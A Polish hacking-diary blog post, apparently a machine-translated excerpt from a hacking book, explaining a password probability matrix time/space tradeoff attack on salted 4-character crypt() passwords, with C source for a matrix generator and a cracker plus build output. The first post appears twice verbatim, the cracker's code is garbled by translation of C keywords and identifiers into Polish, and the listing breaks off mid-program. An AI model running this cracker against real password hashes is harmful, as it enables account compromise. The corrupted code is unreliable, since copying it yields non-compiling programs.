Z Pamiętniczka Młodego Hackerkachacker.pl



Drogi Pamiętniczku …



01.11.2020

Macierz prawdopodobieństwa hasła

Istnieje kompromis między mocą obliczeniową a przestrzenią pamięci, która istnieje wszędzie. Widać to w najbardziej elementarnych formach informatyki i codzienności. Pliki MP3 wykorzystują kompresję do przechowywania wysokiej jakości pliku dźwiękowego w stosunkowo niewielkiej ilości miejsca, ale zwiększa się zapotrzebowanie na zasoby obliczeniowe. Kalkulatory kieszonkowe wykorzystują ten kompromis w innym kierunku, utrzymując tabelę przeglądową dla funkcji takich jak sinus i cosinus, aby zapisać kalkulator w wykonywaniu ciężkich obliczeń. Ten kompromis może być również zastosowany do kryptografii w tak zwanym ataku kompromisowym czas / przestrzeń. Chociaż metody Hellmana dla tego typu ataku są prawdopodobnie bardziej skuteczne, poniższy kod źródłowy powinien być łatwiejszy do zrozumienia. Ogólna zasada jest zawsze taka sama: spróbuj znaleźć słodki punkt między mocą obliczeniową a przestrzenią pamięci, aby wyczerpujący atak siłowy mógł zostać zakończony w rozsądnym czasie, przy rozsądnej ilości miejsca. Niestety, dylemat soli nadal będzie się pojawiał, ponieważ ta metoda nadal wymaga pewnej formy przechowywania. Jednak istnieje tylko 4 096 możliwych soli z skrótami haseł w stylu crypt (), więc efekt tego problemu można zmniejszyć, zmniejszając wymaganą przestrzeń pamięci na tyle, aby zachować rozsądek pomimo 4096 mnożnika. Ta metoda wykorzystuje formę kompresji stratnej. Zamiast mieć dokładną tablicę odnośników, kilka tysięcy możliwych wartości zwykłego tekstu zostanie zwróconych po wprowadzeniu skrótu hasła. Wartości te można szybko sprawdzić, aby uzyskać zbieżność na oryginalnym haśle w postaci zwykłego tekstu, a kompresja stratna pozwala na znaczne zmniejszenie przestrzeni. W poniższym kodzie demonstracyjnym używana jest przestrzeń klucza dla wszystkich możliwych czteroznakowych haseł (ze stałą solą). Potrzebne miejsce do przechowywania jest zmniejszone o 88 procent w porównaniu z pełną tablicą przeglądową mieszania (ze stałą solą), a przestrzeń klucza, która musi być wymuszona przez brute, jest zmniejszona o około 1 018 razy. Przy założeniu 10 000 pęknięć na sekundę, ta metoda może złamać każde czteroznakowe hasło (ze stałą solą) w czasie poniżej ośmiu sekund, co stanowi znaczne przyspieszenie w porównaniu z dwiema godzinami potrzebnymi do wyczerpującego ataku bruteforce tej samej przestrzeni klucza . Ta metoda tworzy trójwymiarową macierz binarną, która koreluje części wartości mieszania z częściami wartości jawnego tekstu. Na osi x tekst jawny jest podzielony na dwie pary: pierwsze dwa znaki i drugie dwa znaki. Możliwe wartości są wyliczone w wektor binarny o długości 952 lub 9,025 bitów (około 1129 bajtów). Na osi Y tekst zaszyfrowany jest podzielony na cztery trzy-znakowe kawałki. Są one wyliczane w ten sam sposób w dół kolumn, ale tylko cztery bity trzeciego znaku są rzeczywiście używane. Oznacza to, że są 642,4 lub 16 384 kolumny. Oś z istnieje po prostu dla utrzymania ośmiu różnych macierzy dwuwymiarowych, więc cztery istnieją dla każdej pary tekstu jawnego. Podstawową ideą jest podzielenie tekstu jawnego na dwie sparowane wartości, które są wyliczane wzdłuż wektora. Każdy możliwy tekst jawny jest zmieszany w tekst zaszyfrowany, a tekst zaszyfrowany jest używany do znalezienia odpowiedniej kolumny macierzy. Następnie bit wyliczenia zwykłego tekstu w wierszu macierzy jest włączony. Gdy wartości zaszyfrowanego tekstu zostaną zredukowane do mniejszych kawałków, kolizje są nieuniknione.

Tekst Jawny : Hash

test : jeHEAX1m66RV.

! J) h : jeHEA38vqlkkQ

".F + : jeHEA1Tbde5FE

"8, J : jeHEAnX8kQK3I

W tym przypadku kolumna dla HEA miałaby włączone bity odpowiadające parom tekstu jawnego te,! J, ". I" 8, ponieważ te pary tekstu jawnego / skrótu są dodawane do macierzy. Po całkowitym wypełnieniu macierzy, gdy zostanie wprowadzony skrót, taki jak jeHEA38vqlkkQ, kolumna HEA zostanie sprawdzona, a dwuwymiarowa macierz zwróci wartości te,! J, ". I" 8 dla pierwszego dwa znaki jawnego tekstu. Istnieją cztery takie macierze dla pierwszych dwóch znaków, używające podciągów tekstu zaszyfrowanego od znaków 2 do 4, 4 do 6, 6, 8 i 8, 10, z których każdy ma inny wektor możliwych pierwszych dwucyfrowych wartości tekstu jawnego. Każdy wektor jest ciągnięty i łączony z bitowym ORAZ. To pozostawi tylko te włączone bity, które odpowiadają parom jawnego tekstu wymienionym jako możliwości dla każdego podciągu tekstu zaszyfrowanego. Istnieją również cztery takie macierze dla ostatnich dwóch znaków tekstu jawnego. Rozmiary matryc zostały określone przez zasadę szuflady. Jest to prosta zasada, która stwierdza: Jeśli k + 1 obiektów zostanie umieszczonych w polach k, co najmniej jedno z pól będzie zawierać dwa obiekty. Aby uzyskać najlepsze wyniki, celem jest, aby każdy wektor był trochę mniejszy niż połowa pełnego 1s. Od 954 lub 81.450,625 wpisy będą umieszczane w macierzach, więc musi być około dwa razy więcej otworów, aby osiągnąć 50-procentowe nasycenie. Ponieważ każdy wektor ma 9 025 wpisów, powinno być około (954 ˇ 2) / 9025 kolumn. Daje to około 18 000 kolumn. Ponieważ w kolumnach używane są podciągi tekstu zaszyfrowanego składające się z trzech znaków, pierwsze dwa znaki i cztery bity z trzeciego znaku są używane do zapewnienia 642 ˇ 4 lub około 16 tysięcy kolumn (istnieją tylko 64 możliwe wartości dla każdego znaku skrótu tekstu zaszyfrowanego) ). Powinno to być wystarczająco blisko, ponieważ gdy bit jest dodawany dwukrotnie, nakładanie się jest ignorowane. W praktyce każdy wektor okazuje się być około 42 procent nasycony 1s. Ponieważ są cztery wektory wyciągane dla pojedynczego tekstu zaszyfrowanego, prawdopodobieństwo dowolnej jednej pozycji wyliczającej o wartości 1 w każdym wektorze wynosi około 0,424 lub około 3,11 procent. Oznacza to, że średnio 9 025 możliwości dla pierwszych dwóch znaków zwykłego tekstu zmniejsza się o około 97% do 280 możliwości. Odbywa się to również dla dwóch ostatnich znaków, zapewniając około 2802 lub 78,400 możliwych wartości tekstu jawnego. Przy założeniu 10 000 pęknięć na sekundę, ta zmniejszona przestrzeń klucza zajęłaby mniej niż 8 sekund na sprawdzenie. Oczywiście są wady. Po pierwsze, stworzenie matrycy trwa co najmniej tak długo, jak zrobiłby to oryginalny atak siłowy; jest to jednak koszt jednorazowy. Ponadto sole nadal mają tendencję do blokowania wszelkiego rodzaju ataków pamięciowych, nawet przy zmniejszonych wymaganiach dotyczących przestrzeni dyskowej. Poniższe dwa listingi kodu źródłowego mogą być użyte do utworzenia macierzy prawdopodobieństwa hasła i złamania przy jej pomocy haseł. Pierwsza lista wygeneruje macierz, która może zostać użyta do złamania wszystkich możliwych czteroznakowych haseł solonych je. Druga lista wykorzysta wygenerowaną macierz do faktycznego złamania hasła.



ppm_gen.c

/*********************************************************\

* Password Probability Matrix * File: ppm_gen.c *

***********************************************************

* *

* Author: Jon Erickson < matrix@phiral.com > *

* Organization: Phiral Research Laboratories *

* *

* This is the generate program for the PPM proof of *

* concept. It generates a file called 4char.ppm, which *

* contains information regarding all possible 4- *

* character passwords salted with 'je'. This file can *

* be used to quickly crack passwords found within this *

* keyspace with the corresponding ppm_crack.c program. *

* *

\*********************************************************/

#define _XOPEN_SOURCE

#include

#include

#include

#define HEIGHT 16384

#define WIDTH 1129

#define DEPTH 8

#define SIZE HEIGHT * WIDTH * DEPTH

/* Map a single hash byte to an enumerated value. */

int enum_hashbyte(char a) {

int i, j;

i = (int)a;

if((i >= 46) && (i <= 57))

j = i - 46;

else if ((i >= 65) && (i <= 90))

j = i - 53;

else if ((i >= 97) && (i <= 122))

j = i - 59;

return j;

}

/* Map 3 hash bytes to an enumerated value. */

int enum_hashtriplet(char a, char b, char c) {

return (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b));

}

/* Barf a message and exit. */

void barf(char *message, char *extra) {

printf(message, extra);

exit(1);

}

/* Generate a 4-char.ppm file with all possible 4-char passwords (salted w/ je). */

int main() {

char plain[5];

char *code, *data;

int i, j, k, l;

unsigned int charval, val;

FILE *handle;

if (!(handle = fopen("4char.ppm", "w")))

barf("Error: Couldn't open file '4char.ppm' for writing.\n", NULL);

data = (char *) malloc(SIZE);

if (!(data))

barf("Error: Couldn't allocate memory.\n", NULL);

for(i=32; i<127; i++) {

for(j=32; j<127; j++) {

printf("Adding %c%c** to 4char.ppm..\n", i, j);

for(k=32; k<127; k++) {

for(l=32; l<127; l++) {

plain[0] = (char)i; // Build every

plain[1] = (char)j; // possible 4-byte

plain[2] = (char)k; // password.

plain[3] = (char)l;

plain[4] = '\0';

code = crypt((const char *)plain, (const char *)"je"); // Hash it.

/* Lossfully store statistical info about the pairings. */

val = enum_hashtriplet(code[2], code[3], code[4]); // Store info about

bytes 2-4.

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = HEIGHT + enum_hashtriplet(code[4], code[5], code[6]); // bytes 4-6

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (2 * HEIGHT) + enum_hashtriplet(code[6], code[7], code[8]); //

bytes 6-8

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (3 * HEIGHT) + enum_hashtriplet(code[8], code[9], code[10]);

// bytes 8-10

charval = (i-32)*95 + (j-32); // First 2 plaintext chars

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

}

}

}

}

printf("finished.. saving..\n");

fwrite(data, SIZE, 1, handle);

free(data);

fclose(handle);

}

Pierwszy fragment kodu, ppm_gen.c, może zostać użyty do wygenerowania czteroznakowej macierzy prawdopodobieństwa hasła, jak pokazano na wyjściu poniżej. Opcja -O3 przekazana do GCC nakazuje jej zoptymalizować kod pod kątem szybkości podczas kompilacji

reader@hacking:~/booksrc $ gcc -O3 -o ppm_gen ppm_gen.c -lcrypt

reader@hacking:~/booksrc $ ./ppm_gen

Adding ** to 4char.ppm..

Adding !** to 4char.ppm..

Adding "** to 4char.ppm..

.:[ output trimmed ]:.

Adding ~|** to 4char.ppm..

Adding ~}** to 4char.ppm..

Adding ~~** to 4char.ppm..

finished.. saving..

@hacking:~ $ ls -lh 4char.ppm

-rw-r--r-- 1 142M 2007-09-30 13:56 4char.ppm

reader@hacking:~/booksrc $

Plik 4char.ppm o pojemności 142 MB zawiera luźne powiązania między tekstem jawnym a danymi mieszania dla każdego możliwego czteroznakowego hasła. Te dane mogą być następnie wykorzystane przez ten następny program do szybkiego złamania czteroznakowych haseł, które mogłyby udaremnić atak słownikowy. Powrót

01.11.2020

Macierz prawdopodobieństwa hasła

Istnieje kompromis między mocą obliczeniową a przestrzenią pamięci, która istnieje wszędzie. Widać to w najbardziej elementarnych formach informatyki i codzienności. Pliki MP3 wykorzystują kompresję do przechowywania wysokiej jakości pliku dźwiękowego w stosunkowo niewielkiej ilości miejsca, ale zwiększa się zapotrzebowanie na zasoby obliczeniowe. Kalkulatory kieszonkowe wykorzystują ten kompromis w innym kierunku, utrzymując tabelę przeglądową dla funkcji takich jak sinus i cosinus, aby zapisać kalkulator w wykonywaniu ciężkich obliczeń. Ten kompromis może być również zastosowany do kryptografii w tak zwanym ataku kompromisowym czas / przestrzeń. Chociaż metody Hellmana dla tego typu ataku są prawdopodobnie bardziej skuteczne, poniższy kod źródłowy powinien być łatwiejszy do zrozumienia. Ogólna zasada jest zawsze taka sama: spróbuj znaleźć słodki punkt między mocą obliczeniową a przestrzenią pamięci, aby wyczerpujący atak siłowy mógł zostać zakończony w rozsądnym czasie, przy rozsądnej ilości miejsca. Niestety, dylemat soli nadal będzie się pojawiał, ponieważ ta metoda nadal wymaga pewnej formy przechowywania. Jednak istnieje tylko 4 096 możliwych soli z skrótami haseł w stylu crypt (), więc efekt tego problemu można zmniejszyć, zmniejszając wymaganą przestrzeń pamięci na tyle, aby zachować rozsądek pomimo 4096 mnożnika. Ta metoda wykorzystuje formę kompresji stratnej. Zamiast mieć dokładną tablicę odnośników, kilka tysięcy możliwych wartości zwykłego tekstu zostanie zwróconych po wprowadzeniu skrótu hasła. Wartości te można szybko sprawdzić, aby uzyskać zbieżność na oryginalnym haśle w postaci zwykłego tekstu, a kompresja stratna pozwala na znaczne zmniejszenie przestrzeni. W poniższym kodzie demonstracyjnym używana jest przestrzeń klucza dla wszystkich możliwych czteroznakowych haseł (ze stałą solą). Potrzebne miejsce do przechowywania jest zmniejszone o 88 procent w porównaniu z pełną tablicą przeglądową mieszania (ze stałą solą), a przestrzeń klucza, która musi być wymuszona przez brute, jest zmniejszona o około 1 018 razy. Przy założeniu 10 000 pęknięć na sekundę, ta metoda może złamać każde czteroznakowe hasło (ze stałą solą) w czasie poniżej ośmiu sekund, co stanowi znaczne przyspieszenie w porównaniu z dwiema godzinami potrzebnymi do wyczerpującego ataku bruteforce tej samej przestrzeni klucza . Ta metoda tworzy trójwymiarową macierz binarną, która koreluje części wartości mieszania z częściami wartości jawnego tekstu. Na osi x tekst jawny jest podzielony na dwie pary: pierwsze dwa znaki i drugie dwa znaki. Możliwe wartości są wyliczone w wektor binarny o długości 952 lub 9,025 bitów (około 1129 bajtów). Na osi Y tekst zaszyfrowany jest podzielony na cztery trzy-znakowe kawałki. Są one wyliczane w ten sam sposób w dół kolumn, ale tylko cztery bity trzeciego znaku są rzeczywiście używane. Oznacza to, że są 642,4 lub 16 384 kolumny. Oś z istnieje po prostu dla utrzymania ośmiu różnych macierzy dwuwymiarowych, więc cztery istnieją dla każdej pary tekstu jawnego. Podstawową ideą jest podzielenie tekstu jawnego na dwie sparowane wartości, które są wyliczane wzdłuż wektora. Każdy możliwy tekst jawny jest zmieszany w tekst zaszyfrowany, a tekst zaszyfrowany jest używany do znalezienia odpowiedniej kolumny macierzy. Następnie bit wyliczenia zwykłego tekstu w wierszu macierzy jest włączony. Gdy wartości zaszyfrowanego tekstu zostaną zredukowane do mniejszych kawałków, kolizje są nieuniknione.

Tekst Jawny : Hash

test : jeHEAX1m66RV.

! J) h : jeHEA38vqlkkQ

".F + : jeHEA1Tbde5FE

"8, J : jeHEAnX8kQK3I

W tym przypadku kolumna dla HEA miałaby włączone bity odpowiadające parom tekstu jawnego te,! J, ". I" 8, ponieważ te pary tekstu jawnego / skrótu są dodawane do macierzy. Po całkowitym wypełnieniu macierzy, gdy zostanie wprowadzony skrót, taki jak jeHEA38vqlkkQ, kolumna HEA zostanie sprawdzona, a dwuwymiarowa macierz zwróci wartości te,! J, ". I" 8 dla pierwszego dwa znaki jawnego tekstu. Istnieją cztery takie macierze dla pierwszych dwóch znaków, używające podciągów tekstu zaszyfrowanego od znaków 2 do 4, 4 do 6, 6, 8 i 8, 10, z których każdy ma inny wektor możliwych pierwszych dwucyfrowych wartości tekstu jawnego. Każdy wektor jest ciągnięty i łączony z bitowym ORAZ. To pozostawi tylko te włączone bity, które odpowiadają parom jawnego tekstu wymienionym jako możliwości dla każdego podciągu tekstu zaszyfrowanego. Istnieją również cztery takie macierze dla ostatnich dwóch znaków tekstu jawnego. Rozmiary matryc zostały określone przez zasadę szuflady. Jest to prosta zasada, która stwierdza: Jeśli k + 1 obiektów zostanie umieszczonych w polach k, co najmniej jedno z pól będzie zawierać dwa obiekty. Aby uzyskać najlepsze wyniki, celem jest, aby każdy wektor był trochę mniejszy niż połowa pełnego 1s. Od 954 lub 81.450,625 wpisy będą umieszczane w macierzach, więc musi być około dwa razy więcej otworów, aby osiągnąć 50-procentowe nasycenie. Ponieważ każdy wektor ma 9 025 wpisów, powinno być około (954 ˇ 2) / 9025 kolumn. Daje to około 18 000 kolumn. Ponieważ w kolumnach używane są podciągi tekstu zaszyfrowanego składające się z trzech znaków, pierwsze dwa znaki i cztery bity z trzeciego znaku są używane do zapewnienia 642 ˇ 4 lub około 16 tysięcy kolumn (istnieją tylko 64 możliwe wartości dla każdego znaku skrótu tekstu zaszyfrowanego) ). Powinno to być wystarczająco blisko, ponieważ gdy bit jest dodawany dwukrotnie, nakładanie się jest ignorowane. W praktyce każdy wektor okazuje się być około 42 procent nasycony 1s. Ponieważ są cztery wektory wyciągane dla pojedynczego tekstu zaszyfrowanego, prawdopodobieństwo dowolnej jednej pozycji wyliczającej o wartości 1 w każdym wektorze wynosi około 0,424 lub około 3,11 procent. Oznacza to, że średnio 9 025 możliwości dla pierwszych dwóch znaków zwykłego tekstu zmniejsza się o około 97% do 280 możliwości. Odbywa się to również dla dwóch ostatnich znaków, zapewniając około 2802 lub 78,400 możliwych wartości tekstu jawnego. Przy założeniu 10 000 pęknięć na sekundę, ta zmniejszona przestrzeń klucza zajęłaby mniej niż 8 sekund na sprawdzenie. Oczywiście są wady. Po pierwsze, stworzenie matrycy trwa co najmniej tak długo, jak zrobiłby to oryginalny atak siłowy; jest to jednak koszt jednorazowy. Ponadto sole nadal mają tendencję do blokowania wszelkiego rodzaju ataków pamięciowych, nawet przy zmniejszonych wymaganiach dotyczących przestrzeni dyskowej. Poniższe dwa listingi kodu źródłowego mogą być użyte do utworzenia macierzy prawdopodobieństwa hasła i złamania przy jej pomocy haseł. Pierwsza lista wygeneruje macierz, która może zostać użyta do złamania wszystkich możliwych czteroznakowych haseł solonych je. Druga lista wykorzysta wygenerowaną macierz do faktycznego złamania hasła.



ppm_gen.c

/*********************************************************\

* Password Probability Matrix * File: ppm_gen.c *

***********************************************************

* *

* Author: Jon Erickson < matrix@phiral.com > *

* Organization: Phiral Research Laboratories *

* *

* This is the generate program for the PPM proof of *

* concept. It generates a file called 4char.ppm, which *

* contains information regarding all possible 4- *

* character passwords salted with 'je'. This file can *

* be used to quickly crack passwords found within this *

* keyspace with the corresponding ppm_crack.c program. *

* *

\*********************************************************/

#define _XOPEN_SOURCE

#include

#include

#include

#define HEIGHT 16384

#define WIDTH 1129

#define DEPTH 8

#define SIZE HEIGHT * WIDTH * DEPTH

/* Map a single hash byte to an enumerated value. */

int enum_hashbyte(char a) {

int i, j;

i = (int)a;

if((i >= 46) && (i <= 57))

j = i - 46;

else if ((i >= 65) && (i <= 90))

j = i - 53;

else if ((i >= 97) && (i <= 122))

j = i - 59;

return j;

}

/* Map 3 hash bytes to an enumerated value. */

int enum_hashtriplet(char a, char b, char c) {

return (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b));

}

/* Barf a message and exit. */

void barf(char *message, char *extra) {

printf(message, extra);

exit(1);

}

/* Generate a 4-char.ppm file with all possible 4-char passwords (salted w/ je). */

int main() {

char plain[5];

char *code, *data;

int i, j, k, l;

unsigned int charval, val;

FILE *handle;

if (!(handle = fopen("4char.ppm", "w")))

barf("Error: Couldn't open file '4char.ppm' for writing.\n", NULL);

data = (char *) malloc(SIZE);

if (!(data))

barf("Error: Couldn't allocate memory.\n", NULL);

for(i=32; i<127; i++) {

for(j=32; j<127; j++) {

printf("Adding %c%c** to 4char.ppm..\n", i, j);

for(k=32; k<127; k++) {

for(l=32; l<127; l++) {

plain[0] = (char)i; // Build every

plain[1] = (char)j; // possible 4-byte

plain[2] = (char)k; // password.

plain[3] = (char)l;

plain[4] = '\0';

code = crypt((const char *)plain, (const char *)"je"); // Hash it.

/* Lossfully store statistical info about the pairings. */

val = enum_hashtriplet(code[2], code[3], code[4]); // Store info about

bytes 2-4.

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = HEIGHT + enum_hashtriplet(code[4], code[5], code[6]); // bytes 4-6

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (2 * HEIGHT) + enum_hashtriplet(code[6], code[7], code[8]); //

bytes 6-8

charval = (i-32)*95 + (j-32); // First 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (3 * HEIGHT) + enum_hashtriplet(code[8], code[9], code[10]);

// bytes 8-10

charval = (i-32)*95 + (j-32); // First 2 plaintext chars

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (l-32); // Last 2 plaintext bytes

data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

}

}

}

}

printf("finished.. saving..\n");

fwrite(data, SIZE, 1, handle);

free(data);

fclose(handle);

}

Pierwszy fragment kodu, ppm_gen.c, może zostać użyty do wygenerowania czteroznakowej macierzy prawdopodobieństwa hasła, jak pokazano na wyjściu poniżej. Opcja -O3 przekazana do GCC nakazuje jej zoptymalizować kod pod kątem szybkości podczas kompilacji

reader@hacking:~/booksrc $ gcc -O3 -o ppm_gen ppm_gen.c -lcrypt

reader@hacking:~/booksrc $ ./ppm_gen

Adding ** to 4char.ppm..

Adding !** to 4char.ppm..

Adding "** to 4char.ppm..

.:[ output trimmed ]:.

Adding ~|** to 4char.ppm..

Adding ~}** to 4char.ppm..

Adding ~~** to 4char.ppm..

finished.. saving..

@hacking:~ $ ls -lh 4char.ppm

-rw-r--r-- 1 142M 2007-09-30 13:56 4char.ppm

reader@hacking:~/booksrc $

Plik 4char.ppm o pojemności 142 MB zawiera luźne powiązania między tekstem jawnym a danymi mieszania dla każdego możliwego czteroznakowego hasła. Te dane mogą być następnie wykorzystane przez ten następny program do szybkiego złamania czteroznakowych haseł, które mogłyby udaremnić atak słownikowy. Powrót

02.11.2020 ppm_crack.c

/ ************************************************* ********

* Matryca prawdopodobieństwa hasła * Plik: ppm_crack.c *

************************************************** *********

* *

* Autor: Jon Erickson *

* Organizacja: Phiral Research Laboratories *

* *

* Jest to program do sprawdzania poprawności koncepcji PPM. *

* Używa istniejącego pliku o nazwie 4char.ppm, który *

* zawiera informacje dotyczące wszystkich możliwych 4- *

* hasła postaci solone za pomocą "je". Ten plik może *

* być generowane za pomocą odpowiedniego programu ppm_gen.c. *

* *

************************************************* ******** /

#define _XOPEN_SOURCE

#include < unistd.h >

#include < stdio.h >

#include < stdlib.h >

#define HEIGHT 16384

#define WIDTH 1129

#define DEPTH 8

#define WYSOKOŚĆ ROZMIARU * SZEROKOŚĆ * GŁĘBOKOŚĆ

#define DCM HEIGHT * WIDTH

/ * Odwzoruj pojedynczy bajt skrótu na wyliczoną wartość. * /

int enum_hashbyte (char a) {

int i, j;

i = (int) a;

jeśli ((i> = 46) && (i <= 57))

j = i - 46;

inaczej jeśli ((i> = 65) && (i <= 90))

j = i - 53;

else if ((i> = 97) && (i <= 122))

j = i - 59;

return j;

}

/ * Mapowanie 3 bajtów haszujących na wyliczoną wartość. * /

int enum_hashtriplet (char a, char b, char c) {

return (((enum_hashbyte (c)% 4) * 4096) + (enum_hashbyte (a) * 64) + enum_hashbyte (b));

}

/ * Scal dwa wektory. * /

void merge (char * vector1, char * vector2) {

int i;

dla (i = 0; i
wektor1 [i] & = wektor2 [i];

}

/ * Zwraca bit w wektorze przy przekazanej pozycji indeksu * /

int get_vector_bit (char * vector, int index) {

return ((vector [(index / 8)] & (1 << (index% 8))) >> (indeks% 8));

}

/ * Zlicza liczbę par jawnego tekstu w przekazanym wektorze * /

int count_vector_bits (char * vector) {

int i, count = 0;

dla (i = 0; i <9025; i ++)

count + = get_vector_bit (wektor, i);

liczba zwrotów;

}

/ * Wyświetla pary jawnego tekstu, które wylicza każdy bit ON w wektorze. * /

void print_vector (char * vector) {

int i, a, b, val;

dla (i = 0; i <9025; i ++) {

if (get_vector_bit (wektor, i) == 1) {// Jeśli bit jest włączony,

a = i / 95; // Oblicz

b = i - (a * 95); // para zwykłego tekstu

printf ("% c% c", a + 32, b + 32); // i wydrukuj to.

}

}

printf ("n");

}

/ * Wyślij wiadomość i wyjdź. * /

void barf (char * message, char * extra) {

printf (wiadomość, extra);

exit (1);

}

/ * Złam 4-znakowe hasło przy użyciu wygenerowanego pliku 4char.ppm. * /

int main (int argc, char * argv []) {

char * pass, plain [5];

unsigned char bin_vector1 [WIDTH], bin_vector2 [WIDTH], temp_vector [WIDTH];

char prob_vector1 [2] [9025];

char prob_vector2 [2] [9025];

int a, b, i, j, len, pv1_len = 0, pv2_len = 0;

PLIK * fd;

if (argc <1)

barf ("Sposób użycia:% s (użyje pliku 4char.ppm) n", argv [0]);

if (! (fd = fopen ("4char.ppm", "r"))))

barf ("Fatal: Nie można otworzyć pliku PPM do odczytu. n", NULL);

pass = argv [1]; // Pierwszy argument to skrót hasła

printf ("Filtrowanie możliwych bajtów zwykłego tekstu dla pierwszych dwóch znaków: n");

fseek (fd, (DCM * 0) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);

fread (bin_vector1, WIDTH, 1, fd); // Odczytaj wektor kojarzący bajty 2-4 skrótu.

len = count_vector_bits (bin_vector1);

printf ("tylko 1 wektor 4:% d par tekstu jawnego, z% 0.2f %% nasycenia n", len,

len * 100,0 /

9025.0);

fseek (fd, (DCM * 1) + enum_hashtriplet (pass [4], pass [5], pass [6]) * WIDTH, SEEK_SET);

fread (temp_vector, WIDTH, 1, fd); // Odczytaj wektor łączący bajty 4-6 wartości mieszania.

scal (bin_vector1, temp_vector); // Scal go z pierwszym wektorem.

len = count_vector_bits (bin_vector1);

printf ("połączone wektory 1 I 2:% d pary tekstu jawnego, z% 0.2f %% nasycenia n", len,

len * 100,0 / 9025,0);

fseek (fd, (DCM * 2) + enum_hashtriplet (pass [6], pass [7], pass [8]) * WIDTH, SEEK_SET);

fread (temp_vector, WIDTH, 1, fd); // Odczytaj wektor łączący bajty 6-8 skrótu.

scal (bin_vector1, temp_vector); // Scal go z pierwszymi dwoma wektorami.

len = count_vector_bits (bin_vector1);

printf ("pierwsze 3 wektory połączone:% d pary tekstu jawnego, z% 0.2f %% nasycenia n", len,

len * 100,0 / 9025,0);

fseek (fd, (DCM * 3) + enum_hashtriplet (pass [8], pass [9], pass [10]) * WIDTH, SEEK_SET);

fread (temp_vector, WIDTH, 1, fd); // Odczytaj wektor asocjacyjny bajtów 8-10 wartości mieszania.

scal (bin_vector1, temp_vector); // Scal go z wektorami othes.

len = count_vector_bits (bin_vector1);

printf ("wszystkie 4 wektory połączone:% d pary tekstu jawnego, z% 0.2f %% nasycenia n", len,

len * 100,0 / 9025,0);

printf ("Możliwe pary tekstu jawnego dla pierwszych dwóch bajtów: n");

print_vector (bin_vector1);

printf ("n Filtrowanie możliwych bajtów zwykłego tekstu dla dwóch ostatnich znaków: n");

fseek (fd, (DCM * 4) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);

fread (bin_vector2, WIDTH, 1, fd); // Odczytaj wektor kojarzący bajty 2-4 skrótu.

len = count_vector_bits (bin_vector2);

printf ("tylko 1 wektor 4:% d par tekstu jawnego, z% 0.2f %% nasycenia n", len,

len * 100,0 /

9025.0)

fseek(fd,(DCM*5)+enum_hashtriplet(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET);

fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 4-6 of hash.

merge(bin_vector2, temp_vector); // Merge it with the first vector.

len = count_vector_bits(bin_vector2);

printf("vectors 1 AND 2 merged:\t%d plaintext pairs, with %0.2f%% saturation\n", len,

len*100.0/9025.0);

fseek(fd,(DCM*6)+enum_hashtriplet(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET);

fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 6-8 of hash.

merge(bin_vector2, temp_vector); // Merge it with the first two vectors.

len = count_vector_bits(bin_vector2);

printf("first 3 vectors merged:\t%d plaintext pairs, with %0.2f%% saturation\n", len,

len*100.0/9025.0);

fseek(fd,(DCM*7)+enum_hashtriplet(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET);

fread(temp_vector, WIDTH, 1, fd); // Read the vector associatind bytes 8-10 of hash.

merge(bin_vector2, temp_vector); // Merge it with the othes vectors.

len = count_vector_bits(bin_vector2);

printf("all 4 vectors merged:\t%d plaintext pairs, with %0.2f%% saturation\n", len,

len*100.0/9025.0);

printf("Possible plaintext pairs for the last two bytes:\n");

print_vector(bin_vector2);

printf("Building probability vectors...\n");

for(i=0; i < 9025; i++) { // Find possible first two plaintext bytes.

if(get_vector_bit(bin_vector1, i)==1) {;

prob_vector1[0][pv1_len] = i / 95;

prob_vector1[1][pv1_len] = i - (prob_vector1[0][pv1_len] * 95);

pv1_len++;

}

}

for(i=0; i < 9025; i++) { // Find possible last two plaintext bytes.

if(get_vector_bit(bin_vector2, i)) {

prob_vector2[0][pv2_len] = i / 95;

prob_vector2[1][pv2_len] = i - (prob_vector2[0][pv2_len] * 95);

pv2_len++;

}

}

printf("Cracking remaining %d possibilites..\n", pv1_len*pv2_len);

